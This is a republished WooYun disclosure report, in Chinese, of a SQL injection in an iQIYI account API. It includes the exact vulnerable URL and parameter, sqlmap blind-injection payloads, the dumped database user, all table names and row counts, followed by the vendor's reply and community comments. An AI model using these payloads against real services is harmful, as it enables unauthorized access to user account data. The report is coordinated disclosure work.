爱奇艺某站SQL注入(一千五百万数据)

admin
admin
admin
139622
文章
114
评论
2017年4月10日11:37:53评论342 views字数 202阅读0分40秒阅读模式
摘要

2016-03-30： 细节已通知厂商并且等待厂商处理中
2016-03-30： 厂商已经确认，细节仅向厂商公开
2016-04-09： 细节向核心白帽子及相关领域专家公开
2016-04-19： 细节向普通白帽子公开
2016-04-29： 细节向实习白帽子公开
2016-05-14： 细节向公众公开

漏洞概要 关注数(82) 关注此漏洞

缺陷编号： WooYun-2016-190648

漏洞标题： 爱奇艺某站SQL注入(一千五百万数据)

相关厂商： 奇艺

漏洞作者： Blcat

提交时间： 2016-03-30 10:57

公开时间： 2016-05-14 11:40

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

6人收藏

漏洞详情

披露状态：

2016-03-30： 细节已通知厂商并且等待厂商处理中
2016-03-30： 厂商已经确认，细节仅向厂商公开
2016-04-09： 细节向核心白帽子及相关领域专家公开
2016-04-19： 细节向普通白帽子公开
2016-04-29： 细节向实习白帽子公开
2016-05-14： 细节向公众公开

简要描述：

我只是想缓存个电影出去玩的时候看
结果吓死本宝宝了

详细说明：

code 区域 
http://account.iqiyi.com/services/account/info.action?version=1.0.0&uid=1266760165&platform=iphone-iqiyi&access_code=huiyuan&platform_code=bb35a104d95490f6&mix=1&testMode=0

platform_code可以注入

code 区域 
---
 Parameter: platform_code (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: version=1.0.0&uid=1266760165&platform=iphone-iqiyi&access_code=huiyuan&platform_code=bb35a104d95490f6') AND 2143=2143 AND ('LHks'='LHks&mix=1&testMode=0
 
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: version=1.0.0&uid=1266760165&platform=iphone-iqiyi&access_code=huiyuan&platform_code=bb35a104d95490f6') AND SLEEP(5) AND ('xGQD'='xGQD&mix=1&testMode=0
 ---

漏洞证明：

先跑个user

code 区域 
database management system users [1]:
 [*] 'qiyiaccount'@'10.11.%'

再来个database

code 区域 
Database: qiyi_account
 [54 tables]
 +---------------------------------+
 | acc_auth_authority_resource     |
 | account_abnormal                |
 | account_account                 |
 | account_account_ext             |
 | account_account_sub             |
 | account_account_sub_debug       |
 | account_appstore_recharge_count |
 | account_async_task              |
 | account_async_task_processed    |
 | account_audit                   |
 | account_auth_authority          |
 | account_auth_resource           |
 | account_auth_role               |
 | account_auth_role_authority     |
 | account_auth_user               |
 | account_auth_user_authority     |
 | account_auth_user_role          |
 | account_auto_renew              |
 | account_bi_uid                  |
 | account_cash_coupon             |
 | account_cash_coupon_send        |
 | account_dict                    |
 | account_dut_bind_log            |
 | account_dut_pay_type            |
 | account_dut_renew_log           |
 | account_dut_type                |
 | account_dut_user                |
 | account_exception_order         |
 | account_lock                    |
 | account_log_operator            |
 | account_notify_log              |
 | account_order                   |
 | account_recharge_access         |
 | account_recharge_access_channel |
 | account_recharge_access_qd      |
 | account_recharge_channel        |
 | account_recharge_coins          |
 | account_recharge_platform       |
 | account_recharge_qd             |
 | account_recharge_rule           |
 | account_refund_order            |
 | account_security                |
 | account_security_level          |
 | account_security_message        |
 | account_settlement              |
 | account_split_coupon_user       |
 | account_sub_platform            |
 | account_sub_types               |
 | account_test_user               |
 | account_third_order             |
 | account_tracker_code            |
 | account_uid_change              |
 | account_wechat_info             |
 | boss_test_user                  |
 +---------------------------------+

随便翻了几个表

code 区域 
Database: qiyi_account
 +------------------+---------+
 | Table            | Entries |
 +------------------+---------+
 | account_security | 624597  |
 +------------------+---------+
 
 Database: qiyi_account
 +------------------+---------+
 | Table            | Entries |
 +------------------+---------+
 | account_dut_user | 15509726 |
 +------------------+---------+

修复方案：

估计是拼接sql语句了吧

改代码吧

版权声明：转载请注明来源 Blcat@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-03-30 11:36

厂商回复：

感谢白帽子的报告，经业务方确认，报告中提到的用户数据已做脱敏处理（泄漏了用户名、邮箱、手机号中间4位加*），此处不涉及到用户密码。 感谢关注爱奇艺PPS安全，我们已着手修复。

最新状态：

2016-03-30：谢谢 @Blcat 的报告，这份报告中提及的1500万数据是第三方同步给爱奇艺的（我们同样有责任和义务保护好这部分数据），库中爱奇艺自身账户体系中的数据是80万。 感谢关注爱奇艺安全 爱奇艺某站SQL注入(一千五百万数据)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-03-30 10:58 | 马崧耀 ( 实习白帽子 | Rank:59 漏洞数:13 )

    1

    沙发

  2. 2016-03-30 10:58 | 木易 ( 普通白帽子 | Rank:347 漏洞数:70 | 不，，不要误会，我不是针对谁，我是说在座...)

    1

    前排开始

  3. 2016-03-30 10:58 | 土夫子 ( 普通白帽子 | Rank:527 漏洞数:88 | 看似山穷水尽，终将柳暗花明)

    1

    不应该啊

  4. 2016-03-30 10:59 | 小博博 ( 实习白帽子 | Rank:80 漏洞数:14 | 工作)

    1

    前排

  5. 2016-03-30 10:59 | water ( 普通白帽子 | Rank:569 漏洞数:175 | If you have one, then we have more than ...)

    1

    缓存~~~我觉得这是手机app相关接口的洞

  6. 2016-03-30 10:59 | Hckmaple ( 普通白帽子 | Rank:289 漏洞数:66 | ~~~)

    1

    围观

  7. 2016-03-30 11:00 | 狗狗侠 爱奇艺某站SQL注入(一千五百万数据) ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    1

    牛逼。。。。

  8. 2016-03-30 11:00 | 我爱，你老婆 ( 实习白帽子 | Rank:45 漏洞数:15 | 猥琐的猥琐！)

    1

    前排 CCAV看这里

  9. 2016-03-30 11:01 | phoenixne ( 普通白帽子 | Rank:294 漏洞数:106 | 小本毕业，向各位学习)

    1

    觉得 是 缓存的时候爆出了错误信息

  10. 2016-03-30 11:03 | just_joker ( 普通白帽子 | Rank:124 漏洞数:22 | ..........)

    1

    看片引发的血案。。。

  11. 2016-03-30 11:04 | 啊L川 爱奇艺某站SQL注入(一千五百万数据) ( 普通白帽子 | Rank:195 漏洞数:39 | 菜鸟 ，菜渣， 菜呀！)

    1

    好low的标题

  12. 2016-03-30 11:05 | sauce ( 普通白帽子 | Rank:285 漏洞数:46 | 面向人民币编程)

    1

    你这运气太好

  13. 2016-03-30 11:15 | linkey ( 实习白帽子 | Rank:89 漏洞数:38 | sqlmap的超爱好者)

    1

    坐等公布

  14. 2016-03-30 11:19 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    1

    66666

  15. 2016-03-30 11:21 | 咚咚呛 ( 普通白帽子 | Rank:263 漏洞数:34 | 我是一只小毛驴咿呀咿呀呦~~)

    1

    这个6

  16. 2016-03-30 11:21 | 沦沦 ( 普通白帽子 | Rank:651 漏洞数:149 | 爱老婆，爱生活|脚步不能停要一直向前走【...)

    1

    @lijiejie

  17. 2016-03-30 11:22 | hecate ( 普通白帽子 | Rank:823 漏洞数:129 | ®高级安全工程师 | WooYun认证√)

    1

    @荒废的腰子 互撸娃

  18. 2016-03-30 11:31 | von ( 路人 | Rank:18 漏洞数:8 | 一个帅字贯穿了我的一生~)

    1

    666

  19. 2016-03-30 12:28 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    1

    NB!

  20. 2016-03-30 13:20 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号：233sec 不定期分享各种漏洞思...)

    1

    关注

  21. 2016-03-30 13:37 | 小白-x9 ( 路人 | Rank:8 漏洞数:3 )

    1

    围观

  22. 2016-03-30 14:28 | 龚稳 ( 实习白帽子 | Rank:50 漏洞数:18 | 没有做不到的，只有不想做的)

    1

    给我来几个月会员

  23. 2016-03-30 14:29 | 龚稳 ( 实习白帽子 | Rank:50 漏洞数:18 | 没有做不到的，只有不想做的)

    1

    居然还脱裤了

  24. 2016-03-30 16:26 | 键盘手 ( 路人 | Rank:12 漏洞数:4 | @!@)

    1

    "这份报告中提及的1500万数据是第三方同步给爱奇艺的"第三方给你这些数据的时候有没有经过我们客户的同意？非法采集非法交易，是不是涉及法律问题？？？

  25. 2016-03-30 16:36 | 迪南 ( 普通白帽子 | Rank:540 漏洞数:109 | 我真是一个大菜比)

    1

    问的好

  26. 2016-03-30 17:27 | Jn· ( 路人 | Rank:30 漏洞数:14 | 本小菜很可爱，如果不服你TM来打我啊--哎呀...)

    1

    这洞你留多少天啦...我爱奇艺前段时间都发现异地登录...

  27. 2016-05-14 16:21 | 仰望 ( 路人 | Rank:8 漏洞数:6 | 本人很懒，没有留下任何！)

    0

    这个略叼啊 一千W数据

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin